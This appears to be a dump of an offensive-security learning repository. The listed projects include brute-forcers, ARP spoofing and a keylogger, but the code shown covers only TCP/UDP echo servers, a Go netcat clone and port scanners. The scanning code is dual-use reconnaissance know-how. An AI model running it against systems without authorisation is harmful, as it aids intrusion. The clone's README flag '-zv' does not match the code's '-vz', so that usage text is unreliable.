├── .gitignore
├── Projects
├── 0_JS_TCP_server
│ ├── README.md
│ ├── client.js
│ ├── package-lock.json
│ ├── package.json
│ └── server.js
├── 0_TCP_server
│ ├── 0_TCP_server
│ ├── README.md
│ ├── client.py
│ ├── server.py
│ └── tcpserver.png
├── 0_UDP_server
│ ├── README.md
│ ├── UDPclient.py
│ └── UDPserver.py
├── 10_Recreate the Netcat tool
│ ├── README.md
│ ├── go.mod
│ ├── main
│ ├── main.go
│ ├── scannerPorts
│ │ └── ports.go
│ ├── tcp
│ │ ├── clientTcp
│ │ │ └── index.go
│ │ └── serverTcp
│ │ │ └── index.go
│ └── udp
│ │ ├── clientUdp
│ │ └── index.go
│ │ └── serverUdp
│ │ └── index.go
├── 12_Port_scanner_with_OS_fingerprint_using_TTL
│ ├── README.md
│ └── scanner_with_os.py
├── 15_Recursive_Web_Directory_brute-forcer
│ ├── README.md
│ ├── RWDbf.py
│ └── wordlist.txt
├── 17_FTP_Login_bruteforce_tool
│ ├── README.md
│ ├── ftp_bruteforce.py
│ ├── passwords.txt
│ └── users.txt
├── 18_SSH_Login_bruteforce_tool
│ ├── MultiThread
│ │ ├── README.md
│ │ └── bruteForceSSH.rb
│ ├── README.md
│ └── SingleThread
│ │ ├── README.md
│ │ └── bruteForceSSH.rb
├── 1_TCP_chat_server
│ ├── README.md
│ ├── TCPclient.py
│ └── TCPserver.py
├── 25_Bot_to_collect_information_about _someone
│ ├── .gitignore
│ ├── README.md
│ ├── bingSearch.js
│ ├── googleSearch.js
│ ├── index.js
│ ├── info.txt
│ ├── package-lock.json
│ ├── package.json
│ ├── peopleInformation_bing.txt
│ ├── peopleInformation_google.txt
│ ├── peopleInformation_yahoo.txt
│ └── yahooSearch.js
├── 3 TCP Chat Server
│ ├── bin
│ │ ├── client
│ │ ├── protocol
│ │ └── server
│ └── src
│ │ ├── client.nim
│ │ ├── protocol.nim
│ │ └── server.nim
├── 35_ARP_MITM_Python_Debang5hu
│ ├── README.md
│ ├── arpmitm.py
│ └── requirements.txt
├── 37_encrypt_a_file
│ ├── README.md
│ ├── encrypt.js
│ ├── example.js
│ └── teste.txt
├── 47_hexdump
│ ├── HEXDUMP.md
│ └── hexdump.py
├── 49_Vigenère_Cipher
│ ├── .gitignore
│ ├── .vscode
│ │ ├── launch.json
│ │ ├── settings.json
│ │ └── tasks.json
│ ├── Dockerfile
│ ├── README.md
│ ├── vie-genere.Tests
│ │ ├── Usings.cs
│ │ ├── VigenereData__ctorShould.cs
│ │ ├── VigenereService_DecryptShould.cs
│ │ ├── VigenereService_EncryptShould.cs
│ │ ├── VigenereService_PositiveModShould.cs
│ │ └── vie-genere.Tests.csproj
│ ├── vie-genere.sln
│ └── vie-genere
│ │ ├── Parameters
│ │ ├── DecryptParameters.cs
│ │ ├── EncryptParameters.cs
│ │ └── ParametersBase.cs
│ │ ├── Program.cs
│ │ ├── VigenereData.cs
│ │ ├── VigenereService.cs
│ │ └── vie-genere.csproj
├── 4_Server_for_file_transfers
│ ├── README.md
│ └── src
│ │ └── com
│ │ ├── client
│ │ └── Client.java
│ │ └── server
│ │ └── Server.java
├── 5_Caesar_Cipher_tool
│ ├── .gitignore
│ ├── README.md
│ └── src
│ │ └── Main.java
├── 60_Subdomain_enumerator
│ ├── README.md
│ └── sub_enumerator
│ │ ├── sub_enumerator.py
│ │ └── wordlist_5000.txt
├── 69_Process_monitor
│ ├── Dockerfile
│ ├── README.md
│ ├── docker-compose.yml
│ ├── main.py
│ ├── server.py
│ └── start.sh
├── 6_TCP_Server_Caesar_Cipher
│ ├── README.md
│ ├── TCPclient.py
│ └── TCPserver.py
├── 7_ROT13_Cipher
│ ├── .gitignore
│ ├── README.md
│ └── src
│ │ └── Main.java
├── 83_WiFi_Monitor
│ ├── README.md
│ └── wifi_monitor.py
├── 8_ UDP_server_ROT13_Cipher
│ ├── ROT_13.py
│ ├── UDP_client_ROT13_Cipher.py
│ ├── UDP_server_ROT13_Cipher.py
│ └── output.jpg
├── 9_remote_command_execution
│ ├── README.md
│ ├── main.py
│ └── requirements.txt
├── Directory_BruteForcer
│ ├── DBF.py
│ └── README.md
├── Password_hash_cracker
│ ├── README.md
│ └── hash-cracker.py
├── Simple_port_scanner
│ ├── .gitignore
│ ├── README.md
│ ├── Simple_port_scanner.jar
│ ├── Simple_port_scanner
│ │ ├── META-INF
│ │ │ └── MANIFEST.MF
│ │ └── com
│ │ │ └── scanner
│ │ │ └── SimpleScanner.class
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ ├── META-INF
│ │ └── MANIFEST.MF
│ │ └── com
│ │ └── scanner
│ │ └── SimpleScanner.java
└── x_Simple_Keylogger_Python_Debang5hu
│ ├── README.md
│ ├── keylogger.py
│ ├── requirements.txt
│ └── server.py
├── README.md
└── images
└── red.png
/.gitignore:
--------------------------------------------------------------------------------
1 | # PyCharm
2 | .idea/
3 |
4 | # Byte-compiled / optimized / DLL files
5 | __pycache__/
6 | *.py[cod]
7 | *$py.class
8 |
9 | # C extensions
10 | *.so
11 |
12 | # Distribution / packaging
13 | .Python
14 | build/
15 | develop-eggs/
16 | dist/
17 | downloads/
18 | eggs/
19 | .eggs/
20 | lib/
21 | lib64/
22 | parts/
23 | sdist/
24 | var/
25 | wheels/
26 | pip-wheel-metadata/
27 | share/python-wheels/
28 | *.egg-info/
29 | .installed.cfg
30 | *.egg
31 | MANIFEST
32 |
33 | # PyInstaller
34 | # Usually these files are written by a python script from a template
35 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 |
39 | # Installer logs
40 | pip-log.txt
41 | pip-delete-this-directory.txt
42 |
43 | # Unit test / coverage reports
44 | htmlcov/
45 | .tox/
46 | .nox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *.cover
53 | *.py,cover
54 | .hypothesis/
55 | .pytest_cache/
56 |
57 | # Translations
58 | *.mo
59 | *.pot
60 |
61 | # Django stuff:
62 | *.log
63 | local_settings.py
64 | db.sqlite3
65 | db.sqlite3-journal
66 |
67 | # Flask stuff:
68 | instance/
69 | .webassets-cache
70 |
71 | # Scrapy stuff:
72 | .scrapy
73 |
74 | # Sphinx documentation
75 | docs/_build/
76 |
77 | # PyBuilder
78 | target/
79 |
80 | # Jupyter Notebook
81 | .ipynb_checkpoints
82 |
83 | # IPython
84 | profile_default/
85 | ipython_config.py
86 |
87 | # pyenv
88 | .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
98 | __pypackages__/
99 |
100 | # Celery stuff
101 | celerybeat-schedule
102 | celerybeat.pid
103 |
104 | # SageMath parsed files
105 | *.sage.py
106 |
107 | # Environments
108 | .env
109 | .venv
110 | env/
111 | venv/
112 | ENV/
113 | env.bak/
114 | venv.bak/
115 |
116 | # Spyder project settings
117 | .spyderproject
118 | .spyproject
119 |
120 | # Rope project settings
121 | .ropeproject
122 |
123 | # mkdocs documentation
124 | /site
125 |
126 | # mypy
127 | .mypy_cache/
128 | .dmypy.json
129 | dmypy.json
130 |
131 | # Pyre type checker
132 | .pyre/
--------------------------------------------------------------------------------
/Projects/0_JS_TCP_server/README.md:
--------------------------------------------------------------------------------
1 | # TCP server and client CLI to send and receive messages made in NodeJS.
2 |
3 | ### Used Dependencies:
4 |
5 | [colors](https://www.npmjs.com/package/colors)
6 |
7 | [prompt-synch](https://www.npmjs.com/package/prompt-sync)
8 |
9 | 
10 |
11 |
12 | ### How to use:
13 | ```
14 | # Clone repository:
15 | $ git clone https://github.com/kurogai/100-redteam-projects
16 | # Enter the repository:
17 | $ cd 100-redteam-projects\Projects\0_JS_TCP_server
18 | # Install dependencies:
19 | $ npm install
20 | # Run server:
21 | $ node ./server.js
22 | # Run client CLI:
23 | $ node ./client.js
24 | ```
25 |
26 | Made by: [BurmeseCat](https://github.com/BurmeseCat)
--------------------------------------------------------------------------------
/Projects/0_JS_TCP_server/client.js:
--------------------------------------------------------------------------------
1 | const colors = require('colors');
2 | const net = require('net');
3 | const prompt = require('prompt-sync')();
4 |
5 | let client = null;
6 |
7 | const menuReturn = () => {
8 | return setTimeout(() => menu(), 1500);
9 | };
10 |
11 | const createConnection = () => {
12 | if (!client) {
13 | const ADRESS = prompt('Type server adress: ') || '127.0.0.1'
14 | const PORT = prompt('Type server port: ') || 8000;
15 |
16 | client = new net.Socket();
17 |
18 | client.connect(PORT, ADRESS, () => {
19 | console.log(`Connected to ${ADRESS}:${PORT}`.bold.green);
20 | });
21 |
22 | client.on('error', (err) => {
23 | console.log(`${err}`.bold.red);
24 | client = null;
25 | menuReturn();
26 | })
27 |
28 | } else console.log('You are alredy connected! End connection before new one!'.bold.red);
29 |
30 | };
31 |
32 | const destroyConnection = () => {
33 | if (client) {
34 | client.destroy();
35 | client = null;
36 | } else return;
37 | };
38 |
39 | const quitProgr = () => {
40 | if (client) {
41 | destroyConnection()
42 | }
43 | console.log('See you soon!'.rainbow);
44 | };
45 |
46 | const sendMessage = () => {
47 | if (client) {
48 | const message = prompt('Message to send: ');
49 | client.write(message);
50 | client.on('data', (data) => {
51 | console.log(`Message from server: ${data.toString()}`);
52 | })
53 | menuReturn();
54 | }
55 | else {
56 | console.log('First connect to server!'.bold.red);
57 | menuReturn();
58 | }
59 | }
60 |
61 | const menu = () => {
62 | console.log(`${client ? 'CONNECTED'.bold.green : 'NOT CONNECTED'.bold.red}`);
63 | console.log('(c)onnect, (s)end message, (d)isconnect, (q)uit'.bold.white)
64 | const choose = prompt('Type option: '.bold.white);
65 |
66 | switch (choose) {
67 | case 'c':
68 | createConnection();
69 | menuReturn();
70 | break;
71 | case 's':
72 | sendMessage();
73 | break;
74 | case 'd':
75 | destroyConnection();
76 | menuReturn();
77 | break;
78 | case 'q':
79 | quitProgr();
80 | return;
81 | default:
82 | menuReturn();
83 | break;
84 | }
85 | };
86 |
87 | menu();
--------------------------------------------------------------------------------
/Projects/0_JS_TCP_server/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "0_js_tcp_server",
3 | "version": "1.0.0",
4 | "lockfileVersion": 2,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "0_js_tcp_server",
9 | "version": "1.0.0",
10 | "license": "ISC",
11 | "dependencies": {
12 | "colors": "^1.4.0",
13 | "prompt-sync": "^4.2.0"
14 | }
15 | },
16 | "node_modules/ansi-regex": {
17 | "version": "4.1.1",
18 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
19 | "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==",
20 | "engines": {
21 | "node": ">=6"
22 | }
23 | },
24 | "node_modules/colors": {
25 | "version": "1.4.0",
26 | "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
27 | "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==",
28 | "engines": {
29 | "node": ">=0.1.90"
30 | }
31 | },
32 | "node_modules/prompt-sync": {
33 | "version": "4.2.0",
34 | "resolved": "https://registry.npmjs.org/prompt-sync/-/prompt-sync-4.2.0.tgz",
35 | "integrity": "sha512-BuEzzc5zptP5LsgV5MZETjDaKSWfchl5U9Luiu8SKp7iZWD5tZalOxvNcZRwv+d2phNFr8xlbxmFNcRKfJOzJw==",
36 | "dependencies": {
37 | "strip-ansi": "^5.0.0"
38 | }
39 | },
40 | "node_modules/strip-ansi": {
41 | "version": "5.2.0",
42 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
43 | "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
44 | "dependencies": {
45 | "ansi-regex": "^4.1.0"
46 | },
47 | "engines": {
48 | "node": ">=6"
49 | }
50 | }
51 | },
52 | "dependencies": {
53 | "ansi-regex": {
54 | "version": "4.1.1",
55 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
56 | "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
57 | },
58 | "colors": {
59 | "version": "1.4.0",
60 | "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
61 | "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA=="
62 | },
63 | "prompt-sync": {
64 | "version": "4.2.0",
65 | "resolved": "https://registry.npmjs.org/prompt-sync/-/prompt-sync-4.2.0.tgz",
66 | "integrity": "sha512-BuEzzc5zptP5LsgV5MZETjDaKSWfchl5U9Luiu8SKp7iZWD5tZalOxvNcZRwv+d2phNFr8xlbxmFNcRKfJOzJw==",
67 | "requires": {
68 | "strip-ansi": "^5.0.0"
69 | }
70 | },
71 | "strip-ansi": {
72 | "version": "5.2.0",
73 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
74 | "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
75 | "requires": {
76 | "ansi-regex": "^4.1.0"
77 | }
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/Projects/0_JS_TCP_server/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "0_js_tcp_server",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "colors": "^1.4.0",
14 | "prompt-sync": "^4.2.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/Projects/0_JS_TCP_server/server.js:
--------------------------------------------------------------------------------
1 | const net = require('net');
2 | const colors = require('colors');
3 | server = net.createServer();
4 |
5 | server.on('connection', (s) => {
6 | const remoteAddress = s.remoteAddress + ':' + s.remotePort;
7 | console.log(`client connected ${remoteAddress}`.green);
8 |
9 | s.on('data', (data) => {
10 | console.log(`From ${remoteAddress} - ${data}`.yellow)
11 | s.write(`Message from server!`);
12 | });
13 |
14 | s.on('close', () => {
15 | console.log(`Client ${remoteAddress} disconnected`.white);
16 | })
17 |
18 | s.on('error', (err) => {
19 | console.log(`${remoteAddress} error: ${err.message}`.red);
20 | })
21 | });
22 |
23 |
24 | server.listen(8000, () => {
25 | console.log('Server on...')
26 | });
--------------------------------------------------------------------------------
/Projects/0_TCP_server/0_TCP_server:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurogai/100-redteam-projects/8dede0001c2a146e5f5d5858292235cf3db06800/Projects/0_TCP_server/0_TCP_server
--------------------------------------------------------------------------------
/Projects/0_TCP_server/README.md:
--------------------------------------------------------------------------------
1 | # TCP server just to receive messages
2 | >This simple TCP server receives messages and echoes them back to the client. The client program sets up its socket differently from the way a server does. Instead of binding to a port and listening, it uses connect() to attach the socket directly to the remote address.
3 |
4 | NOTE: Make sure that the terminals running the scripts are separate
5 |
6 |
7 | 
8 |
9 | ## :information_source: technologies used
10 |
11 | * Python
12 |
13 | ## :information_source: How to use?
14 |
15 | ```bash
16 | # Clone the repository
17 | $ git clone https://github.com/kurogai/100-redteam-projects
18 |
19 | # Enter the repository
20 | $ cd 100-redteam-projects/0_TCP_server
21 |
22 | # Open a terminal and run
23 | python ./server.py
24 |
25 | # Open another terminal and run
26 | python ./client.py
27 | ```
28 |
29 | ## :books: References
30 | https://pymotw.com/2/socket/tcp.html
31 |
32 | ## Developer
33 | https://github.com/alisimran
34 |
--------------------------------------------------------------------------------
/Projects/0_TCP_server/client.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | # Declaring and initializing local ip address and port to be used
4 | localIP, localPort = "127.0.0.1", 65432
5 |
6 | #creating a TCP/IP socket
7 |
8 | TCPclientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 |
10 | TCPclientSocket.connect((localIP, localPort))
11 |
12 |
13 |
14 | clientMsg = input("Type your message for the server here: ")
15 | data = bytes(clientMsg, "utf-8")
16 |
17 | # send message to the server using TCP socket
18 | print("Sending message to {0} port {1}".format(localIP, localPort))
19 | TCPclientSocket.sendall(data)
20 |
21 | #receiving reply from the server
22 | dataFromServer = str(TCPclientSocket.recv(1024))
23 | print("Message received from the server: ", str(dataFromServer))
24 |
25 |
--------------------------------------------------------------------------------
/Projects/0_TCP_server/server.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | serverAddressPort = ("127.0.0.1", 65432)
4 |
5 | bytesToSend = b'Hey there! We received the message.'
6 |
7 | # Creating a TCP/IP socket
8 | TCPServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 |
10 | # Binding server socket to the port
11 | TCPServerSocket.bind(serverAddressPort)
12 | print("Server up and Listening")
13 |
14 |
15 | # Listening for incoming messages
16 |
17 | TCPServerSocket.listen(10)
18 | msg, address = TCPServerSocket.accept()
19 |
20 | while 1:
21 | datafromClient = msg.recv(1024)
22 | msg.sendall(datafromClient)
23 |
24 |
--------------------------------------------------------------------------------
/Projects/0_TCP_server/tcpserver.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurogai/100-redteam-projects/8dede0001c2a146e5f5d5858292235cf3db06800/Projects/0_TCP_server/tcpserver.png
--------------------------------------------------------------------------------
/Projects/0_UDP_server/README.md:
--------------------------------------------------------------------------------
1 | # UDP server just to receive messages
2 | >the focus of this challenge was the server, but without the client you would spend more work to test
3 |
4 | https://user-images.githubusercontent.com/32443720/133181445-82ca16e0-a9ff-4eb1-b01a-c21e6dc64be9.mp4
5 |
6 | ## :information_source: technologies used
7 |
8 | * Python
9 |
10 | ## :information_source: How use?
11 | ```bash
12 | # Clone the repository
13 | $ git clone https://github.com/kurogai/100-redteam-projects
14 |
15 | # Enter the repository
16 | $ cd 100-redteam-projects/0_UDP_server
17 |
18 | # Open a terminal and run
19 | $ python3 UDPserver.py
20 |
21 | # Open a new terminal and run
22 | $ python3 UDPclient.py
23 | ```
24 |
25 | ## :books: References
26 | https://www.youtube.com/watch?v=Cr-tPf-MUgI&list=WL&index=12
27 |
28 | https://pythontic.com/modules/socket/udp-client-server-example
29 |
30 |
31 | ## Developer
32 |
33 | [ Augusto Savi ](https://github.com/AugustoSavi) |
34 | | :---: |
35 |
--------------------------------------------------------------------------------
/Projects/0_UDP_server/UDPclient.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | serverAddressPort = ("127.0.0.1", 20001)
4 | bufferSize = 1024
5 |
6 | # Create a UDP socket at client side
7 | UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
8 |
9 |
10 | while True:
11 | msgFromClient = input("Send Some text to UDP Server: ")
12 | bytesToSend = str.encode(msgFromClient)
13 |
14 | # Send to server using created UDP socket
15 | UDPClientSocket.sendto(bytesToSend, serverAddressPort)
16 |
17 | message, address = UDPClientSocket.recvfrom(bufferSize)
18 | msg = "\nMessage from Server: {} \n".format(message.decode('UTF-8'))
19 |
20 | print(msg)
--------------------------------------------------------------------------------
/Projects/0_UDP_server/UDPserver.py:
--------------------------------------------------------------------------------
1 |
2 | import socket
3 |
4 | localIP = "127.0.0.1"
5 | localPort = 20001
6 | bufferSize = 1024
7 | msgFromServer = "Message received on UDP Client and sending it again: "
8 |
9 | # Create a datagram socket
10 | UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
11 |
12 | # Bind to address and ip
13 | UDPServerSocket.bind((localIP, localPort))
14 |
15 | print("UDP server up and listening")
16 |
17 | # Listen for incoming datagrams
18 | while(True):
19 | message, address = UDPServerSocket.recvfrom(bufferSize)
20 |
21 | print("\nMessage from Client:{0} \nClient IP Address:{1} \n".format(message.decode('UTF-8'),address))
22 |
23 | bytesTosend = msgFromServer + message.decode('UTF-8')
24 | # Sending a reply to client
25 | UDPServerSocket.sendto(str.encode(bytesTosend), address)
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/README.md:
--------------------------------------------------------------------------------
1 | # Recreate the Netcat tool
2 |
3 | ## TCP Connection as Client and Server:
4 |
5 | ### To start a TCP server listening on a specific port (e.g., port 12345), you can use the following command:
6 |
7 | ```bash
8 | ./main -l -p :12345 or ./main -l -p 127.0.0.1:12345
9 | ```
10 |
11 | ## To connect to this server as a client:
12 | ```bash
13 | ./main 127.0.0.1 :12345
14 | ```
15 |
16 | # Data Transmission:
17 |
18 | **You can use netcat to send data from one terminal to another. For example, to send a message from one terminal to another:**
19 |
20 | ### Terminal 1 (receiving data):
21 |
22 | ```bash
23 | ./main -l -p :12345
24 | ```
25 |
26 | ### Terminal 2 (sending data):
27 | ```bash
28 | echo "Hello, world!" | ./main localhost :12345
29 | ```
30 |
31 | # File Transfer:
32 |
33 | **You can use netcat to transfer files from one computer to another. In one terminal (as the server):**
34 |
35 | ```bash
36 | ./main -l -p :12345 > received_file.txt
37 | ```
38 |
39 | ### In another terminal (as the client), you can send a file to the server:
40 |
41 | ```bash
42 | ./main localhost :12345 < file_to_send.txt
43 | ```
44 |
45 |
46 | # Port Scanner:
47 |
48 | **To check if a specific port is open on a host:**
49 |
50 | ```bash
51 | ./main -zv host_or_ip port
52 | ```
53 |
54 | # UDP Connection:
55 |
56 | **Netcat can be used for UDP connections in the same way as TCP connections. For example, to start a UDP server:**
57 |
58 | ```bash
59 | ./main -lu -p :12345
60 | ```
61 |
62 | ## To send UDP data to the server:
63 | ```bash
64 | echo "Hello, UDP!" | ./main -u -w1 :12345
65 | ```
66 |
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/go.mod:
--------------------------------------------------------------------------------
1 | module go
2 |
3 | go 1.20
4 |
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/main:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kurogai/100-redteam-projects/8dede0001c2a146e5f5d5858292235cf3db06800/Projects/10_Recreate the Netcat tool/main
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/main.go:
--------------------------------------------------------------------------------
1 | // main.go
2 | package main
3 |
4 | import (
5 | "os"
6 | "fmt"
7 | "go/tcp/serverTcp"
8 | "go/tcp/clientTcp"
9 | "go/udp/serverUdp"
10 | "go/udp/clientUdp"
11 | "go/scannerPorts"
12 | )
13 |
14 |
15 | func main() {
16 |
17 | if len(os.Args) == 2 && os.Args[1] == "-l" {
18 | fmt.Println("Ncat: Failed to resolve default IPv4 address: Name or service not known. QUITTING.")
19 | }else if len(os.Args) == 3 && os.Args[1] == "-l" && os.Args[2] == "-p" {
20 | fmt.Println("Ncat: option requires an argument -- 'p' ")
21 | }else if len(os.Args) == 4 && os.Args[1] == "-l" && os.Args[2] == "-p" {
22 | serverTcp.Start(os.Args[3])
23 | }else if len(os.Args) == 2 {
24 | clientTcp.Connect(os.Args[1])
25 | }else if len(os.Args) == 2 && os.Args[1] == "-lu" {
26 | fmt.Println("Ncat: Failed to resolve default IPv4 address: Name or service not known. QUITTING.")
27 | }else if len(os.Args) == 3 && os.Args[1] == "-lu" && os.Args[2] == "-p" {
28 | fmt.Println("Ncat: option requires an argument -- 'p' ")
29 | }else if len(os.Args) == 4 && os.Args[1] == "-lu" && os.Args[2] == "-p" {
30 | serverUdp.Start(os.Args[3])
31 | }else if len(os.Args) == 4 && os.Args[1] == "-u" && os.Args[2] == "-w1" {
32 | clientUdp.Connect(os.Args[3])
33 | }else if len(os.Args) == 4 && os.Args[1] == "-vz" {
34 | scannerPorts.Ports(os.Args[2],os.Args[3]);
35 | }
36 | }
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/scannerPorts/ports.go:
--------------------------------------------------------------------------------
1 | package scannerPorts
2 |
3 | import (
4 | "fmt"
5 | "strconv"
6 | "strings"
7 | "net"
8 | )
9 |
10 | func Ports(host, interval string) {
11 | // String representing the range
12 | intervalStr := interval
13 |
14 | // Split the string at hyphens
15 | parts := strings.Split(intervalStr, "-")
16 | if len(parts) != 2 {
17 | fmt.Println("Invalid interval")
18 | return
19 | }
20 |
21 | // Convert the parts into integers
22 | start, err := strconv.Atoi(parts[0])
23 | if err != nil {
24 | fmt.Println("Error converting the start of the interval:", err)
25 | return
26 | }
27 |
28 | end, err := strconv.Atoi(parts[1])
29 | if err != nil {
30 | fmt.Println("Error converting the end of the interval:", err)
31 | return
32 | }
33 |
34 | // Use a for loop to iterate from start to end
35 | for i := start; i <= end; i++ {
36 | ip := host
37 | address := fmt.Sprintf("%s:%d", ip, i)
38 |
39 | conn, err := net.Dial("tcp", address)
40 | if err != nil {
41 | fmt.Printf("Port %d is closed\n", i)
42 | } else {
43 | defer conn.Close()
44 | fmt.Printf("Port %d is open\n", i)
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/tcp/clientTcp/index.go:
--------------------------------------------------------------------------------
1 | package clientTcp
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "os"
7 | )
8 |
9 | func Connect(host string) {
10 | conn, err := net.Dial("tcp", host)
11 | if err != nil {
12 | fmt.Println("Error connecting:", err)
13 | os.Exit(1)
14 | }
15 |
16 | defer conn.Close();
17 | text := ""
18 | fmt.Scanln(&text)
19 | conn.Write([]byte(text))
20 | }
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/tcp/serverTcp/index.go:
--------------------------------------------------------------------------------
1 | package serverTcp
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "os"
7 | )
8 |
9 |
10 | func StartServer(host string) {
11 | ln, err := net.Listen("tcp", host)
12 |
13 |
14 | if err != nil {
15 | fmt.Println("Error listening:", err)
16 | os.Exit(1)
17 | }
18 |
19 | defer ln.Close()
20 |
21 | conn, err := ln.Accept()
22 | if err != nil {
23 | fmt.Println("Error accepting connection:", err)
24 | }
25 | defer conn.Close()
26 |
27 | buffer := make([]byte, 1024)
28 | n, err := conn.Read(buffer)
29 | if err != nil {
30 | fmt.Println("Error reading:", err)
31 | }
32 |
33 | fmt.Printf("%s\n",buffer[:n])
34 | }
35 |
36 | func Start(port string){
37 | StartServer(port)
38 | }
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/udp/clientUdp/index.go:
--------------------------------------------------------------------------------
1 | package clientUdp
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "os"
7 | )
8 |
9 | func Connect(host string) {
10 | conn, err := net.Dial("udp", host)
11 | if err != nil {
12 | fmt.Println("Error connecting:", err)
13 | os.Exit(1)
14 | }
15 |
16 | defer conn.Close()
17 |
18 | text := ""
19 | fmt.Scanln(&text)
20 | conn.Write([]byte(text))
21 | }
--------------------------------------------------------------------------------
/Projects/10_Recreate the Netcat tool/udp/serverUdp/index.go:
--------------------------------------------------------------------------------
1 | package serverUdp
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "os"
7 | )
8 |
9 | func StartServer(host string){
10 | addr, err := net.ResolveUDPAddr("udp", host)
11 | if err != nil {
12 | fmt.Println("Error resolving address:", err)
13 | os.Exit(1)
14 | }
15 |
16 | conn, err := net.ListenUDP("udp", addr)
17 | if err != nil {
18 | fmt.Println("Error listening:", err)
19 | os.Exit(1)
20 | }
21 | defer conn.Close()
22 |
23 | buffer := make([]byte, 1024)
24 | n, addr, err := conn.ReadFromUDP(buffer)
25 | if err != nil {
26 | fmt.Println("Error reading:", err)
27 | return
28 | }
29 |
30 | fmt.Printf("%s\n", buffer[:n])
31 | }
32 |
33 | func Start(host string) {
34 | StartServer(host)
35 | }
--------------------------------------------------------------------------------
/Projects/12_Port_scanner_with_OS_fingerprint_using_TTL/README.md:
--------------------------------------------------------------------------------
1 | # Port scanner with OS fingerprint using TTL (Time To Live)
2 |
3 | It's a Port scanner built using Python and Scapy.
4 |
5 | ## :information_source: Technologies used
6 |
7 | * Python
8 | * Scapy
9 |
10 | ## :information_source: How to use?
11 | ```bash
12 | # Clone the repository
13 | $ git clone https://github.com/kurogai/100-redteam-projects.git
14 |
15 | # Enter the repository
16 | $ cd 100-redteam-projects\Projects\12_Port_scanner_with_OS_fingerprint_using_TTL
17 |
18 | # Open a terminal and run
19 | $ sudo python scanner_with_os.py
20 |
21 | ```
22 |
23 | ### Note:
24 | - You need to download the Python library Scapy.
25 |
26 | - You can install Scapy with the following command:
27 |
28 | ```bash
29 | #pip install
30 | pip install scapy
31 |
32 | #conda install
33 | conda install -c conda-forge scapy
34 | ```
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/Projects/12_Port_scanner_with_OS_fingerprint_using_TTL/scanner_with_os.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | import sys
4 | import threading
5 | from queue import Queue
6 | from scapy.all import *
7 | import socket
8 | import logging
9 | from scapy.layers.inet import IP, ICMP
10 | from concurrent.futures import ThreadPoolExecutor, as_completed
11 |
12 | # Suppress Scapy warning messages
13 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
